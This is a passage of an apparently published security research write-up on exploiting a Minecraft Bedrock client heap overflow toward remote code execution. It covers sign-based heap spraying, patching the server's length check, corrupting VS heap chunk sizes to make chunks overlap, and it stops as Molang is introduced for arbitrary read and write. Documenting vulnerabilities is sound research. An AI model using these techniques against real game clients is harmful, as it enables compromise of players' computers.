,{"type":30,"value":1503},{"type":24,"tag":930,"props":153940,"children":153941},{"class":932,"line":1919},[153942],{"type":24,"tag":930,"props":153943,"children":153944},{"style":959},[153945],{"type":30,"value":153454},{"type":24,"tag":930,"props":153947,"children":153948},{"class":932,"line":1927},[153949,153953,153957],{"type":24,"tag":930,"props":153950,"children":153951},{"style":959},[153952],{"type":30,"value":153438},{"type":24,"tag":930,"props":153954,"children":153955},{"style":1158},[153956],{"type":30,"value":12699},{"type":24,"tag":930,"props":153958,"children":153959},{"style":959},[153960],{"type":30,"value":14879},{"type":24,"tag":930,"props":153962,"children":153963},{"class":932,"line":1935},[153964],{"type":24,"tag":930,"props":153965,"children":153966},{"style":959},[153967],{"type":30,"value":153968},"             \n",{"type":24,"tag":930,"props":153970,"children":153971},{"class":932,"line":1943},[153972,153976,153980,153984,153988,153993],{"type":24,"tag":930,"props":153973,"children":153974},{"style":937},[153975],{"type":30,"value":153462},{"type":24,"tag":930,"props":153977,"children":153978},{"style":1023},[153979],{"type":30,"value":153467},{"type":24,"tag":930,"props":153981,"children":153982},{"style":1158},[153983],{"type":30,"value":6137},{"type":24,"tag":930,"props":153985,"children":153986},{"style":1079},[153987],{"type":30,"value":39299},{"type":24,"tag":930,"props":153989,"children":153990},{"style":1002},[153991],{"type":30,"value":153992}," wait_for_block",{"type":24,"tag":930,"props":153994,"children":153995},{"style":959},[153996],{"type":30,"value":2814},{"type":24,"tag":930,"props":153998,"children":153999},{"class":932,"line":1955},[154000,154005,154009,154013,154017,154021],{"type":24,"tag":930,"props":154001,"children":154002},{"style":1023},[154003],{"type":30,"value":154004},"                world",{"type":24,"tag":930,"props":154006,"children":154007},{"style":959},[154008],{"type":30,"value":436},{"type":24,"tag":930,"props":154010,"children":154011},{"style":1002},[154012],{"type":30,"value":153489},{"type":24,"tag":930,"props":154014,"children":154015},{"style":959},[154016],{"type":30,"value":1010},{"type":24,"tag":930,"props":154018,"children":154019},{"style":1270},[154020],{"type":30,"value":153498},{"type":24,"tag":930,"props":154022,"children":154023},{"style":959},[154024],{"type":30,"value":9848},{"type":24,"tag":930,"props":154026,"children":154027},{"class":932,"line":1975},[154028],{"type":24,"tag":930,"props":154029,"children":154030},{"style":1023},[154031],{"type":30,"value":154032},"                sign_location\n",{"type":24,"tag":930,"props":154034,"children":154035},{"class":932,"line":1995},[154036],{"type":24,"tag":930,"props":154037,"children":154038},{"style":959},[154039],{"type":30,"value":127542},{"type":24,"tag":930,"props":154041,"children":154042},{"class":932,"line":2061},[154043,154047,154051,154055],{"type":24,"tag":930,"props":154044,"children":154045},{"style":1023},[154046],{"type":30,"value":153535},{"type":24,"tag":930,"props":154048,"children":154049},{"style":959},[154050],{"type":30,"value":436},{"type":24,"tag":930,"props":154052,"children":154053},{"style":1002},[154054],{"type":30,"value":153142},{"type":24,"tag":930,"props":154056,"children":154057},{"style":959},[154058],{"type":30,"value":2814},{"type":24,"tag":930,"props":154060,"children":154061},{"class":932,"line":2085},[154062,154066,154070,154074,154078,154082],{"type":24,"tag":930,"props":154063,"children":154064},{"style":1023},[154065],{"type":30,"value":153555},{"type":24,"tag":930,"props":154067,"children":154068},{"style":959},[154069],{"type":30,"value":436},{"type":24,"tag":930,"props":154071,"children":154072},{"style":1002},[154073],{"type":30,"value":153163},{"type":24,"tag":930,"props":154075,"children":154076},{"style":959},[154077],{"type":30,"value":1010},{"type":24,"tag":930,"props":154079,"children":154080},{"style":1270},[154081],{"type":30,"value":153172},{"type":24,"tag":930,"props":154083,"children":154084},{"style":959},[154085],{"type":30,"value":1054},{"type":24,"tag":930,"props":154087,"children":154088},{"class":932,"line":2119},[154089],{"type":24,"tag":930,"props":154090,"children":154091},{"style":959},[154092],{"type":30,"value":127542},{"type":24,"tag":930,"props":154094,"children":154095},{"class":932,"line":2135},[154096],{"type":24,"tag":930,"props":154097,"children":154098},{"emptyLinePlaceholder":16},[154099],{"type":30,"value":2412},{"type":24,"tag":930,"props":154101,"children":154102},{"class":932,"line":2171},[154103,154107,154111],{"type":24,"tag":930,"props":154104,"children":154105},{"style":959},[154106],{"type":30,"value":153438},{"type":24,"tag":930,"props":154108,"children":154109},{"style":1158},[154110],{"type":30,"value":12699},{"type":24,"tag":930,"props":154112,"children":154113},{"style":959},[154114],{"type":30,"value":14879},{"type":24,"tag":930,"props":154116,"children":154117},{"class":932,"line":2180},[154118],{"type":24,"tag":930,"props":154119,"children":154120},{"style":959},[154121],{"type":30,"value":1831},{"type":24,"tag":930,"props":154123,"children":154124},{"class":932,"line":2220},[154125],{"type":24,"tag":930,"props":154126,"children":154127},{"style":959},[154128],{"type":30,"value":1840},{"type":24,"tag":930,"props":154130,"children":154131},{"class":932,"line":2246},[154132],{"type":24,"tag":930,"props":154133,"children":154134},{"style":959},[154135],{"type":30,"value":2528},{"type":24,"tag":930,"props":154137,"children":154138},{"class":932,"line":2269},[154139],{"type":24,"tag":930,"props":154140,"children":154141},{"emptyLinePlaceholder":16},[154142],{"type":30,"value":2412},{"type":24,"tag":930,"props":154144,"children":154145},{"class":932,"line":2278},[154146,154151,154155,154160,154164,154169,154173,154178,154182,154187,154191,154195],{"type":24,"tag":930,"props":154147,"children":154148},{"style":1023},[154149],{"type":30,"value":154150},"world",{"type":24,"tag":930,"props":154152,"children":154153},{"style":959},[154154],{"type":30,"value":436},{"type":24,"tag":930,"props":154156,"children":154157},{"style":1023},[154158],{"type":30,"value":154159},"afterEvents",{"type":24,"tag":930,"props":154161,"children":154162},{"style":959},[154163],{"type":30,"value":436},{"type":24,"tag":930,"props":154165,"children":154166},{"style":1023},[154167],{"type":30,"value":154168},"playerSpawn",{"type":24,"tag":930,"props":154170,"children":154171},{"style":959},[154172],{"type":30,"value":436},{"type":24,"tag":930,"props":154174,"children":154175},{"style":1002},[154176],{"type":30,"value":154177},"subscribe",{"type":24,"tag":930,"props":154179,"children":154180},{"style":959},[154181],{"type":30,"value":34615},{"type":24,"tag":930,"props":154183,"children":154184},{"style":1023},[154185],{"type":30,"value":154186},"arg",{"type":24,"tag":930,"props":154188,"children":154189},{"style":959},[154190],{"type":30,"value":5579},{"type":24,"tag":930,"props":154192,"children":154193},{"style":937},[154194],{"type":30,"value":17925},{"type":24,"tag":930,"props":154196,"children":154197},{"style":959},[154198],{"type":30,"value":981},{"type":24,"tag":930,"props":154200,"children":154201},{"class":932,"line":2306},[154202,154207],{"type":24,"tag":930,"props":154203,"children":154204},{"style":1002},[154205],{"type":30,"value":154206},"    create_wall",{"type":24,"tag":930,"props":154208,"children":154209},{"style":959},[154210],{"type":30,"value":1310},{"type":24,"tag":930,"props":154212,"children":154213},{"class":932,"line":2337},[154214],{"type":24,"tag":930,"props":154215,"children":154216},{"style":959},[154217],{"type":30,"value":38426},{"type":24,"tag":930,"props":154219,"children":154220},{"class":932,"line":2346},[154221],{"type":24,"tag":930,"props":154222,"children":154223},{"emptyLinePlaceholder":16},[154224],{"type":30,"value":2412},{"type":24,"tag":930,"props":154226,"children":154227},{"class":932,"line":2355},[154228,154232,154236,154241,154245,154250,154254,154258,154262,154266,154270,154274,154278,154282],{"type":24,"tag":930,"props":154229,"children":154230},{"style":1023},[154231],{"type":30,"value":154150},{"type":24,"tag":930,"props":154233,"children":154234},{"style":959},[154235],{"type":30,"value":436},{"type":24,"tag":930,"props":154237,"children":154238},{"style":1023},[154239],{"type":30,"value":154240},"beforeEvents",{"type":24,"tag":930,"props":154242,"children":154243},{"style":959},[154244],{"type":30,"value":436},{"type":24,"tag":930,"props":154246,"children":154247},{"style":1023},[154248],{"type":30,"value":154249},"playerLeave",{"type":24,"tag":930,"props":154251,"children":154252},{"style":959},[154253],{"type":30,"value":436},{"type":24,"tag":930,"props":154255,"children":154256},{"style":1002},[154257],{"type":30,"value":154177},{"type":24,"tag":930,"props":154259,"children":154260},{"style":959},[154261],{"type":30,"value":1010},{"type":24,"tag":930,"props":154263,"children":154264},{"style":937},[154265],{"type":30,"value":39233},{"type":24,"tag":930,"props":154267,"children":154268},{"style":959},[154269],{"type":30,"value":1087},{"type":24,"tag":930,"props":154271,"children":154272},{"style":1023},[154273],{"type":30,"value":154186},{"type":24,"tag":930,"props":154275,"children":154276},{"style":959},[154277],{"type":30,"value":5579},{"type":24,"tag":930,"props":154279,"children":154280},{"style":937},[154281],{"type":30,"value":17925},{"type":24,"tag":930,"props":154283,"children":154284},{"style":959},[154285],{"type":30,"value":981},{"type":24,"tag":930,"props":154287,"children":154288},{"class":932,"line":2398},[154289,154294],{"type":24,"tag":930,"props":154290,"children":154291},{"style":1002},[154292],{"type":30,"value":154293},"    remove_wall",{"type":24,"tag":930,"props":154295,"children":154296},{"style":959},[154297],{"type":30,"value":1310},{"type":24,"tag":930,"props":154299,"children":154300},{"class":932,"line":2406},[154301],{"type":24,"tag":930,"props":154302,"children":154303},{"style":959},[154304],{"type":30,"value":38426},{"type":24,"tag":33,"props":154306,"children":154307},{},[154308],{"type":30,"value":154309},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":24,"tag":33,"props":154311,"children":154312},{},[154313],{"type":24,"tag":140,"props":154314,"children":154317},{"alt":154315,"src":154316},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":24,"tag":33,"props":154319,"children":154320},{},[154321],{"type":30,"value":154322},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":24,"tag":21995,"props":154324,"children":154326},{"id":154325},"a-small-roadblock",[154327],{"type":30,"value":154328},"A Small Roadblock",{"type":24,"tag":33,"props":154330,"children":154331},{},[154332],{"type":30,"value":154333},"While testing our heap spray method, we encountered the following error:",{"type":24,"tag":920,"props":154335,"children":154337},{"code":154336},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[154338],{"type":24,"tag":156,"props":154339,"children":154340},{"__ignoreMap":7},[154341],{"type":30,"value":154336},{"type":24,"tag":33,"props":154343,"children":154344},{},[154345,154347,154353],{"type":30,"value":154346},"An error is thrown by the server executable while trying to assign text longer than ",{"type":24,"tag":156,"props":154348,"children":154350},{"className":154349},[],[154351],{"type":30,"value":154352},"512",{"type":30,"value":154354}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":24,"tag":33,"props":154356,"children":154357},{},[154358],{"type":30,"value":154359},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":24,"tag":33,"props":154361,"children":154362},{},[154363],{"type":30,"value":154364},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":24,"tag":33,"props":154366,"children":154367},{},[154368],{"type":24,"tag":140,"props":154369,"children":154371},{"alt":142,"src":154370},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":24,"tag":33,"props":154373,"children":154374},{},[154375,154377,154383],{"type":30,"value":154376},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":24,"tag":156,"props":154378,"children":154380},{"className":154379},[],[154381],{"type":30,"value":154382},"string_length \u003C= 512",{"type":30,"value":154384}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":24,"tag":33,"props":154386,"children":154387},{},[154388],{"type":30,"value":154389},"The disassembly of the comparison looks like this:",{"type":24,"tag":33,"props":154391,"children":154392},{},[154393],{"type":24,"tag":140,"props":154394,"children":154396},{"alt":142,"src":154395},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":24,"tag":33,"props":154398,"children":154399},{},[154400,154402,154407,154409,154414,154415,154420,154422,154428,154430,154436,154438,154443,154445,154450],{"type":30,"value":154401},"The code compares ",{"type":24,"tag":156,"props":154403,"children":154405},{"className":154404},[],[154406],{"type":30,"value":59864},{"type":30,"value":154408}," (the string length) to ",{"type":24,"tag":156,"props":154410,"children":154412},{"className":154411},[],[154413],{"type":30,"value":130242},{"type":30,"value":1087},{"type":24,"tag":156,"props":154416,"children":154418},{"className":154417},[],[154419],{"type":30,"value":154352},{"type":30,"value":154421}," decimal). It then performs a ",{"type":24,"tag":156,"props":154423,"children":154425},{"className":154424},[],[154426],{"type":30,"value":154427},"jbe",{"type":30,"value":154429},", jumping to address ",{"type":24,"tag":156,"props":154431,"children":154433},{"className":154432},[],[154434],{"type":30,"value":154435},"0x14275114c",{"type":30,"value":154437}," if ",{"type":24,"tag":156,"props":154439,"children":154441},{"className":154440},[],[154442],{"type":30,"value":59864},{"type":30,"value":154444}," is less than or equal to ",{"type":24,"tag":156,"props":154446,"children":154448},{"className":154447},[],[154449],{"type":30,"value":154352},{"type":30,"value":154451},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":24,"tag":33,"props":154453,"children":154454},{},[154455,154457,154462,154464,154470],{"type":30,"value":154456},"To force execution down this path, we patched the ",{"type":24,"tag":156,"props":154458,"children":154460},{"className":154459},[],[154461],{"type":30,"value":154427},{"type":30,"value":154463}," instruction to an unconditional ",{"type":24,"tag":156,"props":154465,"children":154467},{"className":154466},[],[154468],{"type":30,"value":154469},"jmp",{"type":30,"value":154471},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":24,"tag":33,"props":154473,"children":154474},{},[154475],{"type":24,"tag":140,"props":154476,"children":154478},{"alt":142,"src":154477},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":24,"tag":33,"props":154480,"children":154481},{},[154482,154484,154489,154491,154496],{"type":30,"value":154483},"After patching the server and calling ",{"type":24,"tag":156,"props":154485,"children":154487},{"className":154486},[],[154488],{"type":30,"value":152593},{"type":30,"value":154490}," with a size of ",{"type":24,"tag":156,"props":154492,"children":154494},{"className":154493},[],[154495],{"type":30,"value":61237},{"type":30,"value":154497},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":24,"tag":33,"props":154499,"children":154500},{},[154501],{"type":24,"tag":140,"props":154502,"children":154504},{"alt":142,"src":154503},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":24,"tag":21895,"props":154506,"children":154507},{},[],{"type":24,"tag":33,"props":154509,"children":154510},{},[154511],{"type":30,"value":154512},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":24,"tag":33,"props":154514,"children":154515},{},[154516],{"type":30,"value":154517},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":24,"tag":151,"props":154519,"children":154521},{"id":154520},"overlapping-heap-chunks",[154522],{"type":30,"value":154523},"Overlapping Heap Chunks",{"type":24,"tag":33,"props":154525,"children":154526},{},[154527,154529,154534],{"type":30,"value":154528},"The attack is described in detail in the referenced blog post (",{"type":24,"tag":37,"props":154530,"children":154532},{"href":152337,"rel":154531},[41],[154533],{"type":30,"value":50674},{"type":30,"value":154535},"), so we will present a high-level overview.",{"type":24,"tag":33,"props":154537,"children":154538},{},[154539,154541,154547],{"type":30,"value":154540},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":24,"tag":156,"props":154542,"children":154544},{"className":154543},[],[154545],{"type":30,"value":154546},"_HEAP_VS_CHUNK_HEADER",{"type":30,"value":154548}," structure layout is required:",{"type":24,"tag":920,"props":154550,"children":154552},{"code":154551},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[154553],{"type":24,"tag":156,"props":154554,"children":154555},{"__ignoreMap":7},[154556],{"type":30,"value":154551},{"type":24,"tag":33,"props":154558,"children":154559},{},[154560,154562,154568,154570,154576,154577,154583,154584,154590,154592,154597,154599,154604,154606,154612,154614,154619,154621,154627],{"type":30,"value":154561},"At offset 0 there is a header ",{"type":24,"tag":156,"props":154563,"children":154565},{"className":154564},[],[154566],{"type":30,"value":154567},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":30,"value":154569}," containing fields such as ",{"type":24,"tag":156,"props":154571,"children":154573},{"className":154572},[],[154574],{"type":30,"value":154575},"MemoryCost",{"type":30,"value":962},{"type":24,"tag":156,"props":154578,"children":154580},{"className":154579},[],[154581],{"type":30,"value":154582},"UnsafeSize",{"type":30,"value":962},{"type":24,"tag":156,"props":154585,"children":154587},{"className":154586},[],[154588],{"type":30,"value":154589},"UnsafePrevSize",{"type":30,"value":154591},", etc. For the attack we only care about the ",{"type":24,"tag":156,"props":154593,"children":154595},{"className":154594},[],[154596],{"type":30,"value":154582},{"type":30,"value":154598}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":24,"tag":156,"props":154600,"children":154602},{"className":154601},[],[154603],{"type":30,"value":128865},{"type":30,"value":154605},", so for a chunk of size ",{"type":24,"tag":156,"props":154607,"children":154609},{"className":154608},[],[154610],{"type":30,"value":154611},"0x4010",{"type":30,"value":154613}," the value of ",{"type":24,"tag":156,"props":154615,"children":154617},{"className":154616},[],[154618],{"type":30,"value":154582},{"type":30,"value":154620}," would be ",{"type":24,"tag":156,"props":154622,"children":154624},{"className":154623},[],[154625],{"type":30,"value":154626},"0x401",{"type":30,"value":436},{"type":24,"tag":33,"props":154629,"children":154630},{},[154631,154632,154637],{"type":30,"value":67302},{"type":24,"tag":156,"props":154633,"children":154635},{"className":154634},[],[154636],{"type":30,"value":154582},{"type":30,"value":154638}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":24,"tag":33,"props":154640,"children":154641},{},[154642,154644,154649,154651,154656,154658,154664,154666,154671],{"type":30,"value":154643},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":24,"tag":156,"props":154645,"children":154647},{"className":154646},[],[154648],{"type":30,"value":154582},{"type":30,"value":154650}," in the smallest possible VS chunk (",{"type":24,"tag":156,"props":154652,"children":154654},{"className":154653},[],[154655],{"type":30,"value":154611},{"type":30,"value":154657},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":24,"tag":156,"props":154659,"children":154661},{"className":154660},[],[154662],{"type":30,"value":154663},"[0x10, 0xffff0]",{"type":30,"value":154665}," range, the probability that it exceeds ",{"type":24,"tag":156,"props":154667,"children":154669},{"className":154668},[],[154670],{"type":30,"value":154611},{"type":30,"value":154672}," is:",{"type":24,"tag":920,"props":154674,"children":154676},{"code":154675},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[154677],{"type":24,"tag":156,"props":154678,"children":154679},{"__ignoreMap":7},[154680],{"type":30,"value":154675},{"type":24,"tag":33,"props":154682,"children":154683},{},[154684],{"type":30,"value":154685},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":24,"tag":33,"props":154687,"children":154688},{},[154689],{"type":30,"value":154690},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":24,"tag":21995,"props":154692,"children":154694},{"id":154693},"overlap-attack-overview",[154695],{"type":30,"value":154696},"Overlap Attack Overview",{"type":24,"tag":33,"props":154698,"children":154699},{},[154700,154702,154707],{"type":30,"value":154701},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":24,"tag":156,"props":154703,"children":154705},{"className":154704},[],[154706],{"type":30,"value":128888},{"type":30,"value":154708}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":24,"tag":33,"props":154710,"children":154711},{},[154712,154714,154719,154721,154726],{"type":30,"value":154713},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":24,"tag":156,"props":154715,"children":154717},{"className":154716},[],[154718],{"type":30,"value":150596},{"type":30,"value":154720},"-sized chunks in the free list that we want to avoid. If a ",{"type":24,"tag":156,"props":154722,"children":154724},{"className":154723},[],[154725],{"type":30,"value":150596},{"type":30,"value":154727},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":24,"tag":33,"props":154729,"children":154730},{},[154731,154733,154738],{"type":30,"value":154732},"To remove those ",{"type":24,"tag":156,"props":154734,"children":154736},{"className":154735},[],[154737],{"type":30,"value":150596},{"type":30,"value":154739},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":24,"tag":33,"props":154741,"children":154742},{},[154743],{"type":30,"value":154744},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":24,"tag":920,"props":154746,"children":154748},{"code":154747},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[154749],{"type":24,"tag":156,"props":154750,"children":154751},{"__ignoreMap":7},[154752],{"type":30,"value":154747},{"type":24,"tag":33,"props":154754,"children":154755},{},[154756,154758,154763,154765,154770],{"type":30,"value":154757},"Next we create ",{"type":24,"tag":6032,"props":154759,"children":154760},{},[154761],{"type":30,"value":154762},"holes",{"type":30,"value":154764}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":24,"tag":156,"props":154766,"children":154768},{"className":154767},[],[154769],{"type":30,"value":150596},{"type":30,"value":154771},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":24,"tag":920,"props":154773,"children":154775},{"code":154774},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[154776],{"type":24,"tag":156,"props":154777,"children":154778},{"__ignoreMap":7},[154779],{"type":30,"value":154774},{"type":24,"tag":33,"props":154781,"children":154782},{},[154783,154785,154790,154792,154797],{"type":30,"value":154784},"When a ",{"type":24,"tag":156,"props":154786,"children":154788},{"className":154787},[],[154789],{"type":30,"value":150596},{"type":30,"value":154791}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":24,"tag":156,"props":154793,"children":154795},{"className":154794},[],[154796],{"type":30,"value":154582},{"type":30,"value":154798}," field will be overwritten:",{"type":24,"tag":920,"props":154800,"children":154802},{"code":154801},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[154803],{"type":24,"tag":156,"props":154804,"children":154805},{"__ignoreMap":7},[154806],{"type":30,"value":154801},{"type":24,"tag":33,"props":154808,"children":154809},{},[154810,154812,154817,154819,154824,154826,154831],{"type":30,"value":154811},"Once ",{"type":24,"tag":156,"props":154813,"children":154815},{"className":154814},[],[154816],{"type":30,"value":154582},{"type":30,"value":154818}," has been overwritten, ",{"type":24,"tag":156,"props":154820,"children":154822},{"className":154821},[],[154823],{"type":30,"value":150596},{"type":30,"value":154825}," allocation is freed immediately after, restoring the previous layout but with ",{"type":24,"tag":156,"props":154827,"children":154829},{"className":154828},[],[154830],{"type":30,"value":154582},{"type":30,"value":154832}," field corrupted:",{"type":24,"tag":920,"props":154834,"children":154836},{"code":154835},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[154837],{"type":24,"tag":156,"props":154838,"children":154839},{"__ignoreMap":7},[154840],{"type":30,"value":154835},{"type":24,"tag":33,"props":154842,"children":154843},{},[154844],{"type":30,"value":154845},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":24,"tag":920,"props":154847,"children":154849},{"code":154848},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[154850],{"type":24,"tag":156,"props":154851,"children":154852},{"__ignoreMap":7},[154853],{"type":30,"value":154848},{"type":24,"tag":33,"props":154855,"children":154856},{},[154857],{"type":30,"value":154858},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":24,"tag":920,"props":154860,"children":154862},{"code":154861},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[154863],{"type":24,"tag":156,"props":154864,"children":154865},{"__ignoreMap":7},[154866],{"type":30,"value":154861},{"type":24,"tag":21895,"props":154868,"children":154869},{},[],{"type":24,"tag":33,"props":154871,"children":154872},{},[154873],{"type":30,"value":154874},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":24,"tag":33,"props":154876,"children":154877},{},[154878],{"type":30,"value":154879},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":24,"tag":151,"props":154881,"children":154883},{"id":154882},"molang",[154884],{"type":30,"value":154885},"Molang",{"type":24,"tag":33,"props":154887,"children":154888},{},[154889,154891,154898],{"type":30,"value":154890},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":24,"tag":37,"props":154892,"children":154895},{"href":154893,"rel":154894},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[41],[154896],{"type":30,"value":154897},"syntax guide",{"type":30,"value":436},{"type":24,"tag":33,"props":154900,"children":154901},{},[154902,154904,154909,154910,154915],{"type":30,"value":154903},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":24,"tag":156,"props":154905,"children":154907},{"className":154906},[],[154908],{"type":30,"value":1239},{"type":30,"value":211},{"type":24,"tag":156,"props":154911,"children":154913},{"className":154912},[],[154914],{"type":30,"value":4681},{"type":30,"value":154916}," operators are supported.",{"type":24,"tag":33,"props":154918,"children":154919},{},[154920,154922,154928,154930,154935,154937,154942,154943,154948,154949],{"type":30,"value":154921},"Variables are defined by prepending ",{"type":24,"tag":156,"props":154923,"children":154925},{"className":154924},[],[154926],{"type":30,"value":154927},"variable.",{"type":30,"value":154929}," to the name and assigning a value. For example, to define ",{"type":24,"tag":156,"props":154931,"children":154933},{"className":154932},[],[154934],{"type":30,"value":12191},{"type":30,"value":154936}," as the sum of ",{"type":24,"tag":156,"props":154938,"children":154940},{"className":154939},[],[154941],{"type":30,"value":37},{"type":30,"value":211},{"type":24,"tag":156,"props":154944,"children":154946},{"className":154945},[],[154947],{"type":30,"value":6343},{"type":30,"value":18434},{"type":24,"tag":156,"props":154950,"children":154952},{"className":154951},[],[154953],{"type":30,"value":154954},"variable.result = variable.a + variable.b;",{"type":24,"tag":33,"props":154956,"children":154957},{},[154958,154960,154965,154966,154971,154972,154977,154978,154983],{"type":30,"value":154959},"Logical operators such as ",{"type":24,"tag":156,"props":154961,"children":154963},{"className":154962},[],[154964],{"type":30,"value":25520},{"type":30,"value":962},{"type":24,"tag":156,"props":154967,"children":154969},{"className":154968},[],[154970],{"type":30,"value":5584},{"type":30,"value":962},{"type":24,"tag":156,"props":154973,"children":154975},{"className":154974},[],[154976],{"type":30,"value":1350},{"type":30,"value":962},{"type":24,"tag":156,"props":154979,"children":154981},{"className":154980},[],[154982],{"type":30,"value":2261},{"type":30,"value":154984},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":24,"tag":920,"props":154986,"children":154988},{"code":154987},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[154989],{"type":24,"tag":156,"props":154990,"children":154991},{"__ignoreMap":7},[154992],{"type":30,"value":154987},{"type":24,"tag":33,"props":154994,"children":154995},{},[154996],{"type":30,"value":154997},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":24,"tag":21995,"props":154999,"children":155001},{"id":155000},"molang-internals",[155002],{"type":30,"value":155003},"Molang Internals",{"type":24,"tag":33,"props":155005,"children":155006},{},[155007],{"type":30,"value":155008},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":24,"tag":33,"props":155010,"children":155011},{},[155012],{"type":30,"value":155013},"Below we describe the structures involved and their memory layout.",{"type":24,"tag":21995,"props":155015,"children":155017},{"id":155016},"molangvariable-and-molangscriptarg",[155018],{"type":30,"value":155019},"MolangVariable and 